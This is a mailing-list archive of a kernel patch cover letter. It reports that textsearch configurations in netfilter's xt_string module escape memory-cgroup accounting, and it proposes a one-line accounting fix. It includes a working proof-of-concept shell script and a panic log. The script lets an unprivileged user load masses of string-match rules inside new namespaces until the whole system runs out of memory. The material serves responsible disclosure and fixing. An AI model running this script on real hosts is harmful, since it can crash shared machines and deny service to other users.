From: Zhiling Zou zhilinz@nebusec.ai
To: netfilter-devel@vger.kernel.org
Cc: pablo@netfilter.org, fw@strlen.de, phil@nwl.cc,
davem@davemloft.net, edumazet@google.com, pabeni@redhat.com,
horms@kernel.org, kaber@trash.net, vega@nebusec.ai,
zhilinz@nebusec.ai
Subject: [PATCH nf 0/1] netfilter: xt_string: account textsearch configs
Date: Mon, 17 Aug 2026 20:44:54 +0800 [thread overview]
Message-ID: <cover.1786970189.git.zhilinz@nebusec.ai> (raw)
From: Zhiling Zou <zhilinz@nebusec.ai>
Hi Linux kernel maintainers,
We found and validated an issue in net/netfilter/xt_string.c. The bug is
reachable by a non-root user through a new user and network namespace
with CAP_NET_ADMIN in that namespace.
We will provide detailed information about the bug in this email, along
with a PoC to trigger it.
---- details below ----
Bug details:
string_mt_check() creates a textsearch configuration for each installed
xt_string rule with GFP_KERNEL. textsearch_prepare() forwards this mask
to the selected algorithm, so the configuration and its private tables
are not charged to the installing memory cgroup.
The xtables table blob is allocated with GFP_KERNEL_ACCOUNT, but a
Boyer-Moore textsearch configuration is not. A caller can therefore
retain a large number of rules through legacy iptables while keeping the
associated textsearch memory outside its memory-cgroup limit. The
supplied reproducer creates user and network namespaces and bulk-loads
Boyer-Moore string matches until the guest reaches system-wide OOM.
Use GFP_KERNEL_ACCOUNT for textsearch_prepare() so the configuration is
charged with the rest of the rule state.
Reproducer:
sh poc.sh
------BEGIN poc.sh------
#!/bin/sh
set -eu
MODE=${MODE:-oom}
RULES=${RULES:-50000}
COUNT=${COUNT:-12}
SPAWN_DELAY=${SPAWN_DELAY:-25}
SLEEP_SECS=${SLEEP_SECS:-600}
MEMORY_MAX=${MEMORY_MAX:-128M}
DEMO_RULES=${DEMO_RULES:-30000}
DEMO_WAIT=${DEMO_WAIT:-20}
IPT_RESTORE=/usr/sbin/iptables-legacy-restore
PYTHON=/usr/bin/python3
if [ ! -x "$IPT_RESTORE" ]; then
echo "missing $IPT_RESTORE" >&2
exit 1
fi
if [ ! -x "$PYTHON" ]; then
echo "missing $PYTHON" >&2
exit 1
fi
PATTERN=$("$PYTHON" - <<'PY'
print("A" * 128)
PY
)
WORKER=/tmp/xt_string_worker.$$.sh
RUNNER=/tmp/xt_string_runner.$$.sh
cleanup() {
rm -f "$WORKER" "$RUNNER"
}
trap cleanup EXIT INT TERM
cat >"$WORKER" <<EOF
#!/bin/sh
set -eu
RULES=\${1:?missing rules}
SLEEP_SECS=\${2:-600}
LOCK=/tmp/xtables.\$\$
export XTABLES_LOCKFILE="\$LOCK"
PATTERN='$PATTERN'
"$PYTHON" - "\$RULES" "\$PATTERN" <<'PY' | "$IPT_RESTORE"
import sys
rule_count = int(sys.argv[1])
pattern = sys.argv[2]
print("*filter")
print(":INPUT ACCEPT [0:0]")
print(":FORWARD ACCEPT [0:0]")
print(":OUTPUT ACCEPT [0:0]")
rule = f'-A INPUT -m string --algo bm --string "{pattern}" -j ACCEPT'
for _ in range(rule_count):
print(rule)
print("COMMIT")
PY
sleep "\$SLEEP_SECS"
EOF
chmod 755 "$WORKER"
print_meminfo() {
egrep 'MemAvailable|Slab|SUnreclaim' /proc/meminfo
}
spawn_one() {
index=$1
nohup unshare -Urn "$WORKER" "$RULES" "$SLEEP_SECS" >/tmp/xt_string_ns_"$index".log 2>&1 &
echo "$!"
}
case "$MODE" in
oom)
i=1
while [ "$i" -le "$COUNT" ]; do
pid=$(spawn_one "$i")
echo "spawned namespace $i pid $pid"
sleep "$SPAWN_DELAY"
print_meminfo
i=$((i + 1))
done
echo "all namespaces spawned; if panic_on_oom is enabled, the guest should panic once memory is exhausted"
while :; do
sleep 60
done
;;
memcg-demo)
if [ "$(id -u)" -ne 0 ]; then
echo "MODE=memcg-demo requires root" >&2
exit 1
fi
CG=/sys/fs/cgroup/xtleak_demo
mkdir -p "$CG"
echo "$MEMORY_MAX" >"$CG/memory.max"
echo max >"$CG/memory.swap.max"
cat >"$RUNNER" <<'EOF'
#!/bin/sh
set -eu
CG=$1
shift
echo $$ >"$CG/cgroup.procs"
exec "$@"
EOF
chmod 755 "$RUNNER"
print_meminfo
nohup "$RUNNER" "$CG" unshare -n "$WORKER" "$DEMO_RULES" "$SLEEP_SECS" >/tmp/xt_string_memcg.log 2>&1 &
pid=$!
sleep "$DEMO_WAIT"
print_meminfo
echo -n "memory.current="
cat "$CG/memory.current"
echo -n "memory.events="
tr '\n' ' ' <"$CG/memory.events"
echo
echo "demo pid: $pid"
;;
*)
echo "unknown MODE=$MODE" >&2
exit 1
;;
esac
------END poc.sh--------
----BEGIN crash log----
[ 1416.599400][ T2253] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 1416.600091][ T2253] CPU: 3 UID: 1028 PID: 2253 Comm: iptables-legacy Tainted: G L 6.12.95 #1 7b931b951f26d30ef9f3f8d44b931a24dbfb5ce6
[ 1416.600959][ T2253] Tainted: [L]=SOFTLOCKUP
[ 1416.601240][ T2253] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 1416.602031][ T2253] Call Trace:
[ 1416.602249][ T2253] <TASK>
[ 1416.602443][ T2253] panic+0x544/0x620
[ 1416.602720][ T2253] ? __pfx_panic+0x10/0x10
[ 1416.603013][ T2253] ? __pfx_lock_release+0x10/0x10
[ 1416.603361][ T2253] out_of_memory+0x75d/0x1360
[ 1416.603678][ T2253] ? __alloc_pages_slowpath.constprop.0+0xa0f/0x2800
[ 1416.604112][ T2253] ? __pfx_out_of_memory+0x10/0x10
[ 1416.604439][ T2253] ? __pfx_mutex_trylock+0x10/0x10
[ 1416.604790][ T2253] __alloc_pages_slowpath.constprop.0+0x1eb8/0x2800
[ 1416.605239][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.605610][ T2253] ? __pfx___alloc_pages_slowpath.constprop.0+0x10/0x10
[ 1416.606060][ T2253] ? local_clock_noinstr+0x15/0xd0
[ 1416.606394][ T2253] ? lock_release+0x687/0xc90
[ 1416.606704][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.607084][ T2253] ? __pfx___might_resched+0x10/0x10
[ 1416.607440][ T2253] __alloc_pages_noprof+0x54b/0x760
[ 1416.607788][ T2253] ? __pfx___alloc_pages_noprof+0x10/0x10
[ 1416.608160][ T2253] ? __pfx_stack_trace_save+0x10/0x10
[ 1416.608523][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.608902][ T2253] alloc_pages_mpol_noprof+0x1b1/0x430
[ 1416.609257][ T2253] ? find_check_entry.isra.0+0x2c6/0x9c0
[ 1416.609623][ T2253] ? __pfx_alloc_pages_mpol_noprof+0x10/0x10
[ 1416.610018][ T2253] ? do_sock_setsockopt+0x1e6/0x3f0
[ 1416.610359][ T2253] ? __sys_setsockopt+0xe2/0x140
[ 1416.610677][ T2253] ? __x64_sys_setsockopt+0xbd/0x160
[ 1416.611027][ T2253] ? do_syscall_64+0x6f/0x150
[ 1416.611331][ T2253] ? entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 1416.611740][ T2253] allocate_slab+0x3ae/0x550
[ 1416.612051][ T2253] ___slab_alloc+0xdcb/0x1620
[ 1416.612354][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.612728][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.613093][ T2253] ? local_clock_noinstr+0x15/0xd0
[ 1416.613425][ T2253] ? bm_init+0x37/0x9c0
[ 1416.613705][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.614089][ T2253] ? __kmalloc_noprof+0x3e8/0x540
[ 1416.614417][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.614790][ T2253] __kmalloc_noprof+0x3e8/0x540
[ 1416.615106][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.615467][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.615843][ T2253] ? bm_init+0x37/0x9c0
[ 1416.616124][ T2253] ? bm_init+0x37/0x9c0
[ 1416.616396][ T2253] bm_init+0x37/0x9c0
[ 1416.616661][ T2253] ? lock_acquire+0x153/0x2f0
[ 1416.616970][ T2253] ? textsearch_prepare+0x4d/0x3a0
[ 1416.617311][ T2253] textsearch_prepare+0x15d/0x3a0
[ 1416.617654][ T2253] string_mt_check+0x15d/0x1f0
[ 1416.617971][ T2253] ? __mutex_unlock_slowpath+0x163/0x630
[ 1416.618335][ T2253] xt_check_match+0x23c/0xb30
[ 1416.618648][ T2253] ? __pfx_xt_check_match+0x10/0x10
[ 1416.618999][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.619512][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.619975][ T2253] ? pcpu_alloc_noprof+0x6e3/0xc80
[ 1416.620424][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.620865][ T2253] ? xt_find_match+0x150/0x1f0
[ 1416.621247][ T2253] find_check_entry.isra.0+0x2c6/0x9c0
[ 1416.621633][ T2253] ? __pfx_find_check_entry.isra.0+0x10/0x10
[ 1416.622116][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.622497][ T2253] ? trace_hardirqs_on+0x5b/0x110
[ 1416.622844][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.623223][ T2253] ? kfree+0x143/0x4a0
[ 1416.623506][ T2253] ? translate_table+0xb00/0x1af0
[ 1416.623851][ T2253] translate_table+0xbd3/0x1af0
[ 1416.624190][ T2253] ? __pfx_translate_table+0x10/0x10
[ 1416.624545][ T2253] ? _copy_from_user+0x4e/0xa0
[ 1416.624872][ T2253] do_ipt_set_ctl+0x3ea/0x9c0
[ 1416.625191][ T2253] ? __pfx_do_ipt_set_ctl+0x10/0x10
[ 1416.625524][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.625889][ T2253] ? __mutex_unlock_slowpath+0x163/0x630
[ 1416.626248][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.626611][ T2253] ? __pfx___mutex_unlock_slowpath+0x10/0x10
[ 1416.627022][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.627392][ T2253] nf_setsockopt+0x76/0xe0
[ 1416.627689][ T2253] do_sock_setsockopt+0x1e6/0x3f0
[ 1416.628022][ T2253] ? __pfx_do_sock_setsockopt+0x10/0x10
[ 1416.628385][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.628748][ T2253] ? find_held_lock+0x34/0x120
[ 1416.629058][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.629430][ T2253] ? local_clock_noinstr+0x15/0xd0
[ 1416.629770][ T2253] ? lock_release+0x687/0xc90
[ 1416.630083][ T2253] ? __pfx_lock_release+0x10/0x10
[ 1416.630417][ T2253] ? __pfx_lock_release+0x10/0x10
[ 1416.630764][ T2253] __sys_setsockopt+0xe2/0x140
[ 1416.631091][ T2253] __x64_sys_setsockopt+0xbd/0x160
[ 1416.631424][ T2253] ? srso_alias_return_thunk+0x5/0xfbef5
[ 1416.631788][ T2253] ? trace_hardirqs_on+0x5b/0x110
[ 1416.632116][ T2253] do_syscall_64+0x6f/0x150
[ 1416.632415][ T2253] entry_SYSCALL_64_after_hwframe+0x76/0x7e
[ 1416.632813][ T2253] RIP: 0033:0x7882ac8872ba
[ 1416.633100][ T2253] Code: 48 83 ec 10 48 63 c9 48 63 ff 45 89 c9 6a 2c e8 fc d3 f7 ff 48 83 c4 18 c3 0f 1f 80 00 00 00 00 49 89 ca b8 36 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 06 c3 0f 1f 44 00 00 48 8b 15 21 2b 0d 00 f7
[ 1416.634327][ T2253] RSP: 002b:00007ffcfcf9e448 EFLAGS: 00000246 ORIG_RAX: 0000000000000036
[ 1416.634866][ T2253] RAX: ffffffffffffffda RBX: 00007882ab70b070 RCX: 00007882ac8872ba
[ 1416.635373][ T2253] RDX: 0000000000000040 RSI: 0000000000000000 RDI: 0000000000000004
[ 1416.635887][ T2253] RBP: 00007882ab70b010 R08: 0000000001067658 R09: 0000570b6297a2b0
[ 1416.636391][ T2253] R10: 00007882ab70b010 R11: 0000000000000246 R12: 00007882ab647010
[ 1416.636900][ T2253] R13: 0000570b6297a2b8 R14: 0000570b6297a870 R15: 0000570b6297a870
[ 1416.637421][ T2253] </TASK>
[ 1416.637920][ T2253] Kernel Offset: disabled
[ 1416.638206][ T2253] Rebooting in 10 seconds..
-----END crash log-----
Best regards,
Zhiling Zou
Zhiling Zou (1):
netfilter: xt_string: account textsearch configs
net/netfilter/xt_string.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
--
2.43.0
next reply other threads:[~2026-08-17 12:45 UTC|newest]
Thread overview: 3+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-17 12:44 Zhiling [this message]
2026-08-17 12:44 ` [PATCH nf 1/1] netfilter: xt_string: account textsearch configs Zhiling
2026-08-17 15:48 ` Pablo Neira Ayuso
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1786970189.git.zhilinz@nebusec.ai \
--to=netfilter-devel@vger.kernel.org \
--cc=davem@davemloft.net \
--cc=edumazet@google.com \
--cc=fw@strlen.de \
--cc=horms@kernel.org \
--cc=kaber@trash.net \
--cc=pabeni@redhat.com \
--cc=pablo@netfilter.org \
--cc=phil@nwl.cc \
--cc=vega@nebusec.ai \
--cc=zhilinz@nebusec.ai \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.